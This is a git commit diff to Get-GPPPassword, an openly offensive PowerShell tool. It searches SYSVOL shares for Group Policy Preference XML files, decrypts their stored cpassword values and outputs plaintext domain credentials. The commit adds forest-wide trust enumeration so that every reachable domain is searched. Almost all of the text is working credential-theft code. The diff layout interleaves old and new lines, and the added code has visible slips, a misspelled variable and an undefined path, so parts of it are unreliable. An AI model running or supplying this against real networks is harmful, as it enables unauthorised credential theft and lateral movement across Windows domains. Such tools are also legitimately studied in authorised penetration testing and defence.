Fix for issue #170

Added -SearchForest to search all reachable domain trust \SYSVOL\'s
Each password is now output as a separate object.
This commit is contained in:
HarmJ0y 2017-01-07 20:32:14 -05:00
parent 94438eda67
commit 5500a7e131
1 changed files with 277 additions and 181 deletions

View File

@ -19,9 +19,13 @@ function Get-GPPPassword {
Specify the domain controller to search for. Specify the domain controller to search for.
Default's to the users current domain Default's to the users current domain
.PARAMETER SearchForest
Map all reaschable trusts and search all reachable SYSVOLs.
.EXAMPLE .EXAMPLE
PS C:\> Get-GPPPassword Get-GPPPassword
NewName : [BLANK] NewName : [BLANK]
Changed : {2014-02-21 05:28:53} Changed : {2014-02-21 05:28:53}
@ -48,7 +52,8 @@ function Get-GPPPassword {
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml
.EXAMPLE .EXAMPLE
PS C:\> Get-GPPPassword -Server EXAMPLE.COM
Get-GPPPassword -Server EXAMPLE.COM
NewName : [BLANK] NewName : [BLANK]
Changed : {2014-02-21 05:28:53} Changed : {2014-02-21 05:28:53}
@ -64,7 +69,7 @@ function Get-GPPPassword {
.EXAMPLE .EXAMPLE
PS C:\> Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq
password password
password12 password12
@ -82,15 +87,18 @@ function Get-GPPPassword {
http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
#> #>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
[CmdletBinding()] [CmdletBinding()]
Param ( Param (
[ValidateNotNullOrEmpty()] [ValidateNotNullOrEmpty()]
[String] [String]
$Server = $Env:USERDNSDOMAIN $Server = $Env:USERDNSDOMAIN,
)
#Some XML issues between versions [Switch]
Set-StrictMode -Version 2 $SearchForest
)
# define helper function that decodes and decrypts password # define helper function that decodes and decrypts password
function Get-DecryptedCpassword { function Get-DecryptedCpassword {
@ -129,117 +137,205 @@ function Get-GPPPassword {
catch { Write-Error $Error[0] } catch { Write-Error $Error[0] }
} }
#define helper function to parse fields from xml files # helper function to parse fields from xml files
function Get-GPPInnerFields { function Get-GPPInnerField {
[CmdletBinding()] [CmdletBinding()]
Param ( Param (
$File $File
) )
try { try {
$Filename = Split-Path $File -Leaf $Filename = Split-Path $File -Leaf
[xml] $Xml = Get-Content ($File) [xml] $Xml = Get-Content ($File)
#declare empty arrays # check for the cpassword field
$Cpassword = @() if ($Xml.innerxml -match 'cpassword') {
$UserName = @()
$NewName = @()
$Changed = @()
$Password = @()
#check for password field $Xml.GetElementsByTagName('Properties') | ForEach-Object {
if ($Xml.innerxml -like "*cpassword*"){ if ($_.cpassword) {
$Cpassword = $_.cpassword
Write-Verbose "Potential password in $File" if ($Cpassword -and ($Cpassword -ne '')) {
$DecryptedPassword = Get-DecryptedCpassword $Cpassword
switch ($Filename) { $Password = $DecryptedPassword
Write-Verbose "[Get-GPPInnerField] Decrypted password in '$File'"
'Groups.xml' {
$Cpassword += , $Xml | Select-Xml "/Groups/User/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$UserName += , $Xml | Select-Xml "/Groups/User/Properties/@userName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$NewName += , $Xml | Select-Xml "/Groups/User/Properties/@newName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$Changed += , $Xml | Select-Xml "/Groups/User/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
} }
'Services.xml' { if ($_.newName) {
$Cpassword += , $Xml | Select-Xml "/NTServices/NTService/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} $NewName = $_.newName
$UserName += , $Xml | Select-Xml "/NTServices/NTService/Properties/@accountName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$Changed += , $Xml | Select-Xml "/NTServices/NTService/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
} }
'Scheduledtasks.xml' { if ($_.userName) {
$Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} $UserName = $_.userName
$UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value} }
$Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} elseif ($_.accountName) {
$UserName = $_.accountName
}
elseif ($_.runAs) {
$UserName = $_.runAs
} }
'DataSources.xml' { try {
$Cpassword += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} $Changed = $_.ParentNode.changed
$UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} }
$Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} catch {
Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.changed for '$File'"
} }
'Printers.xml' { try {
$Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} $NodeName = $_.ParentNode.ParentNode.LocalName
$UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} }
$Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} catch {
Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.ParentNode.LocalName for '$File'"
} }
'Drives.xml' {
$Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
}
}
}
foreach ($Pass in $Cpassword) {
Write-Verbose "Decrypting $Pass"
$DecryptedPassword = Get-DecryptedCpassword $Pass
Write-Verbose "Decrypted a password of $DecryptedPassword"
#append any new passwords to array
$Password += , $DecryptedPassword
}
#put [BLANK] in variables
if (!($Password)) {$Password = '[BLANK]'} if (!($Password)) {$Password = '[BLANK]'}
if (!($UserName)) {$UserName = '[BLANK]'} if (!($UserName)) {$UserName = '[BLANK]'}
if (!($Changed)) {$Changed = '[BLANK]'} if (!($Changed)) {$Changed = '[BLANK]'}
if (!($NewName)) {$NewName = '[BLANK]'} if (!($NewName)) {$NewName = '[BLANK]'}
#Create custom object to output results $GPPPassword = New-Object PSObject
$ObjectProperties = @{'Passwords' = $Password; $GPPPassword | Add-Member Noteproperty 'UserName' $UserName
'UserNames' = $UserName; $GPPPassword | Add-Member Noteproperty 'NewName' $NewName
'Changed' = $Changed; $GPPPassword | Add-Member Noteproperty 'Password' $Password
'NewName' = $NewName; $GPPPassword | Add-Member Noteproperty 'Changed' $Changed
'File' = $File} $GPPPassword | Add-Member Noteproperty 'File' $File
$GPPPassword | Add-Member Noteproperty 'NodeName' $NodeName
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties $GPPPassword | Add-Member Noteproperty 'Cpassword' $Cpassword
Write-Verbose "The password is between {} and may be more than one value." $GPPPassword
if ($ResultsObject) {Return $ResultsObject} }
}
}
}
catch {
Write-Warning "[Get-GPPInnerField] Error parsing file '$File' : $_"
}
} }
catch {Write-Error $Error[0]} # helper function (adapted from PowerView) to enumerate the domain/forest trusts for a specified domain
function Get-DomainTrust {
[CmdletBinding()]
Param (
$Domain
)
if (Test-Connection -Count 1 -Quiet -ComputerName $Domain) {
try {
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
$DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
if ($DomainObject) {
$DomainObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName
}
}
catch {
Write-Verbose "[Get-DomainTrust] Error contacting domain '$Domain' : $_"
} }
try { try {
#ensure that machine is domain joined and script is running as a domain account $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Domain)
if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) { $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
throw 'Machine is not a domain member or User is not a member of the domain.' if ($ForestObject) {
$ForestObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName
}
}
catch {
Write-Verbose "[Get-DomainTrust] Error contacting forest '$Domain' (domain may not be a forest object) : $_"
}
}
} }
#discover potential files containing passwords ; not complaining in case of denied access to a directory # helper function (adapted from PowerView) to enumerate all reachable trusts from the current domain
Write-Verbose "Searching \\$Server\SYSVOL. This could take a while." function Get-DomainTrustMapping {
$XMlFiles = Get-ChildItem -Path "\\$Server\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' [CmdletBinding()]
Param ()
if ( -not $XMlFiles ) {throw 'No preference files found.'} # keep track of domains seen so we don't hit infinite recursion
$SeenDomains = @{}
Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords." # our domain stack tracker
$Domains = New-Object System.Collections.Stack
foreach ($File in $XMLFiles) { try {
$Result = (Get-GppInnerFields $File.Fullname) $CurrentDomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name
Write-Output $Result $CurrentDomain
}
catch {
Write-Warning "[Get-DomainTrustMapping] Error enumerating current domain: $_"
}
if ($CurrentDomain -and $CurrentDomain -ne '') {
$Domains.Push($CurrentDomain)
while($Domains.Count -ne 0) {
$Domain = $Domains.Pop()
# if we haven't seen this domain before
if ($Domain -and ($Domain.Trim() -ne '') -and (-not $SeenDomains.ContainsKey($Domain))) {
Write-Verbose "[Get-DomainTrustMapping] Enumerating trusts for domain: '$Domain'"
# mark it as seen in our list
$Null = $SeenDomains.Add($Domain, '')
try {
# get all the domain/forest trusts for this domain
Get-DomainTrust -Domain $Domain | Sort-Object -Unique | ForEach-Object {
# only output if we haven't already seen this domain and if it's pingable
if (-not $SeenDomains.ContainsKey($_) -and (Test-Connection -Count 1 -Quiet -ComputerName $_)) {
$Null = $Domains.Push($_)
$_
}
}
}
catch {
Write-Verbose "[Get-DomainTrustMapping] Error: $_"
}
}
}
}
}
try {
$XMlFiles = @()
$Domains = @()
# discover any locally cached GPP .xml files
Write-Verbose '[Get-GPPPassword] Searching local host for any cached GPP files'
$MlFiles += Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue
if ($SearchForest) {
Write-Verbose '[Get-GPPPassword] Searching for all reachable trusts'
$Domains += Get-DomainTrustMapping
}
else {
if ($Server) {
$Domains += , $Server
}
else {
# in case we're in a SYSTEM context
$Domains += , [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name
}
}
$Domains = $Domains | Where-Object {$_} | Sort-Object -Unique
ForEach ($Domain in $Domains) {
# discover potential domain GPP files containing passwords, not complaining in case of denied access to a directory
Write-Verbose "[Get-GPPPassword] Searching \\$Domain\SYSVOL\*\Policies. This could take a while."
$DomainXMLFiles = Get-ChildItem -Force -Path "\\$Domain\SYSVOL\*\Policies" -Recurse -ErrorAction SilentlyContinue -Include @('Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml')
if($DomainXMLFiles) {
$XMlFiles += $DomainXMLFiles
}
}
if ( -not $XMlFiles ) { throw '[Get-GPPPassword] No preference files found.' }
Write-Verbose "[Get-GPPPassword] Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
ForEach ($File in $XMLFiles) {
$Result = (Get-GppInnerField $File.Fullname)
$Result
} }
} }